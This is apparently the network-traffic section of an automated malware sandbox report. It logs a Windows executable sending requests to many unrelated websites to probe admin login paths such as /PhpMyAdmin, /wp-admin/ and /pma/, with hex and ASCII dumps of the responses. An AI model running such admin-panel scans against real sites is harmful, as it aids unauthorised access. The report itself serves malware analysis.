2023-11-26 05:59:43 UTC	1277	OUT	GET /PhpMyAdmin HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6ImFaN0VzMVVDbXAvRDkyTnVRTzV0dXc9PSIsInZhbHVlIjoiQ1RrUXRVb0ZpRlFJbEpYRG82SUhOc0tBL1l1enluT3MyWkE0cVVlb1czK21aUitnQUlQUWl3bmZkOEtINTBFRlZ6UG1RSVNNU01zK3AyS2R3c25WbXlqVFRubnp0VVNpVGJWVlI5d2d2STlkK1dvRHN3WmZXcktLUVZ4WVR0OHoiLCJtYWMiOiI4ODk3YmFiZWJhNWQ1OGM4OTM4YjdmNGJmYWI5M2JiM2Q1YjEyOGU2NTE1ZDE4MmE0MTFlOTc4OGIyZGUzNzAyIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InVZN29GKzIwOFdCWTc0d3k1Y1J6OWc9PSIsInZhbHVlIjoiUnJhQ3h1dkxsVDJvOW1HeFFna3pqN2FsRWpPMEwwSjFwNVQwNjlmVUJkUmhjRjA5VXNaSTBkcGNUV0E2UXJNOGluNzN2bzhHN3Bnc2xySDQxdlNUVkp4OGhzSDlFNnR0SUtISHBETzhIUjMzcE83MWtjc2dOL3hnMHpiWWQ1Q20iLCJtYWMiOiI0NzYxMjc3MWRkYjMxOTk5NDRjNjc4ZTY5MDJjY2U2OTk3ZjgwMjc1Yzg5ZDFmOGEzMzRhMGViNmI1YTU3NGQ4IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InpSM1A3WnZQd1FBWE0zYndjS3lTMVE9PSIsInZhbHVlIjoiSVV2dW5TdHArb1liMVNCeG5EVjFwR1RJN1dWYmhLRE5scXJaOXFyVlF2d1RkcXNSVnZkTk5xeWJCTkh6dFl4STF4NzIwL25sWTZJUUs4T1hvYzBTKzBwWi9HZDZSR0lreDlFQzBkanB3eTFLWHExbTg3SmM3Rm9raklEZmFBL08iLCJtYWMiOiJlNjI4YTJlZjk4YTk5M2MzYzRkMTAwNmY2NTNiMzIxZmY1MzE1MGM0Y2VhMDc5YmFmYTRkMjk3YTgzYzZiZDY2IiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	1135	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 50 68 70 4d 79 41 64 6d 69 6e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:44 GMTLocation: https://www.gatewaytoearlylearning.com/PhpMyAdminSet-Cookie: publis
2023-11-26 05:59:44 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 39 46 63 32 4d 77 4e 57 38 7a 65 46 70 4e 51 6d 39 59 5a 44 5a 53 4e 6c 42 46 64 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 32 64 4d 63 33 4e 72 64 54 4a 53 62 54 4e 79 54 6d 52 53 56 6b 39 61 64 30 4a 76 62 46 70 70 54 47 70 47 61 44 6c 48 4d 79 74 57 4c 31 4a 36 4e 6e 6b 31 52 30 4a 6e 56 56 64 53 61 48 56 43 51 57 74 35 4d 53 74 53 64 44 64 36 52 30 78 56 61 7a 46 47 55 33 64 6c 51 6e 4a 55 5a 48 4a 5a 61 54 64 6c 62 47 31 35 4e 32 4d 77 5a 6a 6c 55 5a 45 67 33 55 6e 6c 43 64 54 64 7a 56 33 64 6b 65 58 6c 6d 59 33 42 52 62 55 78 68 55 44 6c 49 63 57 5a 4b 57 47 56 6b 61 44 6c 54 5a 6b 74 42 57 47 56 49 55 45 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6Ik9Fc2MwNW8zeFpNQm9YZDZSNlBFdnc9PSIsInZhbHVlIjoid2dMc3NrdTJSbTNyTmRSVk9ad0JvbFppTGpGaDlHMytWL1J6Nnk1R0JnVVdSaHVCQWt5MStSdDd6R0xVazFGU3dlQnJUZHJZaTdlbG15N2MwZjlUZEg3UnlCdTdzV3dkeXlmY3BRbUxhUDlIcWZKWGVkaDlTZktBWGVIUE
2023-11-26 05:59:44 UTC	454	IN	Data Raw: 31 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 50 68 70 4d 79 41 64 6d 69 6e 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 50 68 70 4d 79 41 64 Data Ascii: 1ba<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/PhpMyAdmin'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/PhpMyAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.4	50718	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	166	OUT	GET /admin HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:44 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:44 UTC	642	IN	Data Raw: 32 37 36 0d 0a 2f 61 64 6d 69 6e 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 276/adminOOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.4	50711	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	221	OUT	GET /wp-admin/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.grantstech.io/wp-login.php
2023-11-26 05:59:44 UTC	339	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 77 70 2d 61 64 6d 69 6e 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 321Connection: closeLocation: http://www.grantstech.io/wp-admin/Cache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:
2023-11-26 05:59:44 UTC	321	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 77 70 2d 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/wp-admin/">here</a>.</p><hr><address>Apache/2.4.56

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.4	50818	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	166	OUT	GET /admin HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	472	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:44 UTC	15912	IN	Data Raw: 37 39 35 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 795e<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:44 UTC	15171	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 69 62 6c 69 6f 74 65 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/"> Bibliote

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.4	50826	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	171	OUT	GET /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:44 UTC	813	IN	Data Raw: 32 32 37 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 2277<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:44 UTC	8018	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.4	51002	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	168	OUT	GET /pma/ HTTP/1.1 Host: www.avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	925	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 35 34 31 34 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 38 36 34 30 30 2c 20 70 75 62 6c 69 63 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 74 61 67 3a 20 57 2f 22 31 37 30 30 39 37 37 31 38 39 22 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 31 39 20 4e 6f 76 20 31 39 37 38 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 55414Cache-Control: max-age=86400, publicContent-Language: enContent-Type: text/html; charset=UTF-8Etag: W/"1700977189"Expires: Sun, 19 Nov 1978 05:00:00 GMTLast-Modified: Sun, 26 Nov
2023-11-26 05:59:44 UTC	1368	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema
2023-11-26 05:59:44 UTC	1368	IN	Data Raw: 69 6f 6e 49 44 3a 76 6f 69 64 20 30 2c 73 61 3a 76 6f 69 64 20 30 2c 71 75 65 75 65 54 69 6d 65 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 3a 76 6f 69 64 20 30 2c 74 74 47 75 69 64 3a 76 6f 69 64 20 30 2c 75 73 65 72 3a 76 6f 69 64 20 30 2c 61 63 63 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 Data Ascii: ionID:void 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user:void 0,account:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw
2023-11-26 05:59:44 UTC	1368	IN	Data Raw: 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 6d 65 74 72 69 63 73 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 61 63 74 69 6f 6e 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 